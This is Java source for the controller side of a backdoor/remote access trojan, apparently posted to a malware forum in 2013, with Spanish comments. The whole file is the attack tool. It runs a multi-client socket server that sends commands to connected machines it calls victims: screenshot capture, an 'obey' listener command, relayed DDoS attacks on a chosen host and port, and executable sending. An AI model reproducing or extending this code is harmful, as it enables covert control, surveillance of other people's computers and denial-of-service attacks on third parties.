
// Autor derryper(valium7 indetectables.net)
//Un serversocket con multiples usuarios + backdoor que permite ejecutar comandos
//y hacer  snapshots por conexión y enviar executables 4% código de Cristian casidiablo.net
//v 0.40 5/5/2013
import java.io.*;
import java.net.*;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;

import java.util.List;
import java.util.ArrayList;

public class Servidor extends JFrame {//Nuestra clase principal es una ventana ,hereda de la clase JFrame
  
private JTextField campoIntroducir;//obvio
   static JTextArea areaPantalla;//hacemos el textarea static para acceder directamente SIN INSTANCIAR ESTA CLASE NI NA 

   private JRadioButton kd;//futuras versiones puede que lo usen
   private static JCheckBox chkbox ;//una cajita en la ventana ppara marcarla -desmarcarla

   private static String[] users = new String[10];//no lo uso
   static ServerSocket servidor;//Este socket manejará a todos los sockets entrantes VITAL
   public Socket otra;// sin uso
   public static  int  vcount = 0;//importante DECLARADO Y DEFINIDO y static para accederlo fácil(cuenta los users conectados)
   
   private int contador = 1;//sinuso 
   public static JComboBox jc;// cajita rectangulo desplegable con todos lo s usuarios que se conectaron
   

   // configurar GUI
   public Servidor() //constructor (tiene el mismo nombre que la clase) sin parámetros
   {
      super( "Simple Backdoor Java v 0.40 backdoor by derryper SAFECODERS.COM" );//accede a la superclase ,a JFrame y le pondrá el título , es lo mismo que JFrame jf = new JFrame("titulo")

      Container contenedor = getContentPane();//contenedor para los componentes por la ventana

      // crear campoIntroducir y registrar componente de escucha
      campoIntroducir = new JTextField();//obvio-
      campoIntroducir.setBounds(0, 0, 492, 22);
      campoIntroducir.setEditable( true );
     
      campoIntroducir.setForeground(Color.green);
      campoIntroducir.setBackground(Color.black);
      campoIntroducir.setSelectionColor(Color.red);
      campoIntroducir.setFont(new Font("consolas",1,12));//-obvio
      campoIntroducir.addActionListener(
         new ActionListener() {

            // enviar mensaje al cliente
            public void actionPerformed( ActionEvent evento )//sobreescribios el metodo actionPerformed(es de java) con nuestro código
            {
                String temp;
                temp = evento.getActionCommand();//tiene el text a enviar
                if (temp.equals("Dametupantalla")){try {//si lo que escrbimos es EXACTAMENTE Dametupantalla llamará al metodo
                    waitforsnap();
                } catch (IOException e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                }}
                else if(temp.equals("obedece") ){ //llama al method para enviar obedece y poner en listen
                    try {
                        InitiarThreadlisten();
                    } catch (IOException e) {
                        // TODO Auto-generated catch block
                        e.printStackTrace();
                    }
                    
                }
                else if (temp.contains("ddos")){
                    String[] datei= new String [4];
                    datei = temp.split("#");
                    mostrarMensaje("Atacando a "+ datei[1]+ " por el port "+ datei[2]);
                    enviarDatos(temp);
                }
                else {enviarDatos( temp );}// si no,envía el texto
                
              
               campoIntroducir.setText( "" );
            }
         }  
      ); 
      getContentPane().setLayout(null);

      contenedor.add( campoIntroducir );//lo añadE a contenedor de ventana con un layout dE borde ,encima

      // crear areaPantalla
      areaPantalla = new JTextArea();
      JScrollPane scrollPane = new JScrollPane( areaPantalla );
      scrollPane.setBounds(0, 22, 415, 224);
      contenedor.add( scrollPane );
      users[0]= "Amigos";//sin uso
      jc =new JComboBox();
      jc.setBounds(0, 246, 544, 20);
      chkbox = new JCheckBox("¿Especific?");
      chkbox.setBounds(415, 22, 129, 47);

      getContentPane().add(chkbox);//.concat(chkbox1.getName())
    //  add(chkbox1 , BorderLayout.EAST);
      contenedor.add(jc);
      
      JButton btnVerEstado = new JButton("ver estado");
      btnVerEstado.addActionListener(new ActionListener() {    //BUTTON 1
          public void actionPerformed(ActionEvent arg0) {
            AnexoGui akgui = new AnexoGui();
            //akgui.setDefaultCloseOperation( JFrame.EXIT_ON_CLOSE );
            akgui.setLocation(500, 10);

              
          }
      });
      btnVerEstado.setBounds(415, 76, 125, 23);
      getContentPane().add(btnVerEstado);
      
      JButton buttonsendbuikd = new JButton("env\u00EDos\r\n/build\r\n");
      buttonsendbuikd.addActionListener(new ActionListener() {  //BUTTON 2
          public void actionPerformed(ActionEvent arg0) {
            ventanaenvia Gui1 = new ventanaenvia();//3ra gui para enviíos xD
            Gui1.setLocation(800, 500);
            Gui1.mainEnv();
          }
      });
      buttonsendbuikd.setIcon(new ImageIcon("smsikon.PNG"));
      buttonsendbuikd.setHorizontalAlignment(SwingConstants.LEFT);
      buttonsendbuikd.setFont(new Font("Arial", Font.PLAIN, 12));
      buttonsendbuikd.setBounds(415, 110, 125, 47);
      getContentPane().add(buttonsendbuikd);
      setSize( 558, 300 );//obvio
      setVisible( true );//VITAL , si no no veríamos la ventana
      this.setIconImage (new ImageIcon("terminal.jpg").getImage()); 

   } // fin del constructor de Servidor

   // configurar y ejecutar el servidor 
   public void ejecutarServidor()
   {
      // configurar servidor para que reciba conexiones; procesar las conexiones
      try {

         // Paso 1: crear un objeto ServerSocket.
         servidor = new ServerSocket( 12345, 100 );//nuevo serversocket 100 se puede cambiar a más

         while ( true ) {//ejecutar para siempre hasta que se cierre la aplicación

            try {

               invokar();//empieza lo bueno
               System.out.println("pasó por procesar");
               procesarConexion(); // Paso : procesar la conexión.
            }

            // procesar excepción EOFException cuando el cliente cierre la conexión 
            catch ( EOFException excepcionEOF ) {
               System.err.println( "El servidor terminó la conexión" );
            }

            finally {
           //    cerrarConexion();   // Paso 5: cerrar la conexión.
               ++contador;//sin uso
            }

         } // fin de instrucción while

      } // fin del bloque try

      // procesar problemas con E/S
      catch ( IOException excepcionES ) {
         excepcionES.printStackTrace();
      }

   } // fin del método ejecutarServidor

   // esperar que la conexión llegue, después mostrar información de la conexión

   public static  void invokar() throws IOException{
    //  java.io.ObjectOutputStream salida1;
         Servidor.mostrarMensaje("   8=============B");//mostrar mensajito polla
     //  Processor d =new Processor();
         Processor.Generar(vcount);//ahora llamamos a generar sockets , cambia ahora a la clase PRocessor,le pasamos un numero ,al empezar será cero
    
   }

   // procesar la conexión con el cliente
   private void procesarConexion() throws IOException
   {
      // enviar mensaje de conexión exitosa al cliente
      String mensaje = "Conexión exitosa";
      enviarDatos( mensaje );

      // habilitar campoIntroducir para que el usuario del servidor pueda enviar mensajes


      do { // procesar los mensajes enviados por el cliente

         mostrarMensaje( "\n" + mensaje );
        //  sh(mensaje);

      } while ( !mensaje.equals( "CLIENTE>>> TERMINAR" ) );

   } // fin del método procesarConexion

   // cerrar flujos y socket
   public void sh(String k) throws IOException{
          Runtime rt = Runtime.getRuntime ();

   

     rt.exec (k); 
}

Processor k = new Processor();
   // enviar mensaje al cliente
   private static void enviarDatos( String mensaje )
   {
      // enviar objeto al cliente
      try {

        int d = users.length;//TODO maneja instruccionador
       if(chkbox.isSelected()){//si está seleccionada la chckbx
           Processor.ks[jc.getSelectedIndex()].writeObject(mensaje);//enviams mensaje a la víctima
           Processor.ks[jc.getSelectedIndex()].flush(); 
       }
       else if(!chkbox.isSelected()){
           for(int i=0;i<vcount;i++){
               System.out.println(vcount+ "AQUí");
         Processor.ks[i].writeObject(mensaje);
         Processor.ks[i].flush();}
           }
    //     k.ks[1].writeObject(mensaje);
         mostrarMensaje( "\nSERVIDOR>>> " + mensaje );
      }

      // procesar problemas que pueden ocurrir al enviar el objeto
      catch ( IOException excepcionES ) {
         areaPantalla.append( "\nError al escribir objeto" );
      }
//      catch (SocketException sckex){}
   }

   // método utilitario que es llamado desde otros subprocesos para manipular a
   // areaPantalla en el subproceso despachador de eventos
   public static void mostrarMensaje( final String mensajeAMostrar )
   {
      // mostrar mensaje del subproceso de ejecución despachador de eventos
      SwingUtilities.invokeLater(
         new Runnable() {  // clase interna para asegurar que la GUI se actualice apropiadamente

            public void run() // actualiza areaPantalla
            {
               areaPantalla.append( mensajeAMostrar );
               areaPantalla.setCaretPosition( 
                  areaPantalla.getText().length() );
            }

         }  // fin de la clase interna

      ); // fin de la llamada a SwingUtilities.invokeLater
   }

   // método utilitario que es llamado desde otros subprocesos para manipular a 
   // campoIntroducir en el subproceso despachador de eventos

   public static void AppendaVector( )
   {  //Processor k1 = new Processor(); 
     users[vcount]= Processor.sck[vcount].getInetAddress().getHostName();
     mostrarMensaje(users[vcount]);
     final String k;
     k = users[vcount];
      // mostrar mensaje del subproceso de ejecución despachador de eventos
      SwingUtilities.invokeLater(
         new Runnable() {  // clase interna para asegurar que la GUI se actualice apropiadamente

           public void run()  // establece la capacidad de modificar a campoIntroducir
            {
               jc.addItem(k);
               
           }

         }  // fin de la clase interna

     ); // fin de la llamada a SwingUtilities.invokeLater
   }
   public void waitforsnap() throws IOException{
           ventanaenvia.progressBar_1.setValue(0);
       mostrarMensaje("AVER");
//        byte[] b = new byte[1024];
//        int len = 0;
//        int bytcount = 1024;
//        System.out.println(1);
//        File temp = new File("instantanea.jpg");
//        FileOutputStream inFile = new FileOutputStream(temp);
        System.out.println(2);
           Processor.ks[jc.getSelectedIndex()].writeObject("SCREEN");
           Processor.ks[jc.getSelectedIndex()].flush();
            rvefile file_recibida = new rvefile();
    //        Processor.kn[jc.getSelectedIndex()].read(arg0, arg1, arg2);
            new Thread(file_recibida).start(); //empezar run()
    //    BufferedInputStream in2 = new BufferedInputStream(is, 1024);
        mostrarMensaje("Intentando snapshot \n");//lo ejecutaraá después,es invokelater
//        while ((len = in2.read(b, 0, 1024)) != -1) {
//          bytcount = bytcount + 1024;
//          inFile.write(b, 0, len);
//        }
//        
//        
//        
//        
//        
//        
//        
//        System.out.println("Bytes escritos : " + bytcount);
//
//
//
//        in2.close();
//        inFile.close();
}
   public static void Versnapshot(){
       Runtime r=Runtime.getRuntime();
       Process p=null;
       try
       {
       p=r.exec("cmd /c start instantanea7.jpg");
       }
       catch(Exception e)
       {
       }

   }
   public void InitiarThreadlisten() throws IOException{  // iniciamos un thread para que ponga a la escucha de sms
//       if (chkbox.isSelected()){for(int i=0;i < vcount;i++){
//       Handlersms handlersms =new Handlersms();
//       handlersms.start();
//       Processor.ks[i].writeObject("obey");
//       }}
       Handlersms handlersms =new Handlersms();
       handlersms.start();
       Processor.ks[jc.getSelectedIndex()].writeObject("obey");//enviamos la string obey a la víctima
       System.err.println("ElistEn");//dejando claro qu ejecutó
       
       
   }
   public static void main( String args[] ) throws ClassNotFoundException, InstantiationException, IllegalAccessException, UnsupportedLookAndFeelException
   {
      // UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());
      JFrame.setDefaultLookAndFeelDecorated(true);
      Servidor aplicacion = new Servidor();
      aplicacion.setDefaultCloseOperation( JFrame.EXIT_ON_CLOSE );

      aplicacion.ejecutarServidor();


   }
}  // fin de la clase Servidor


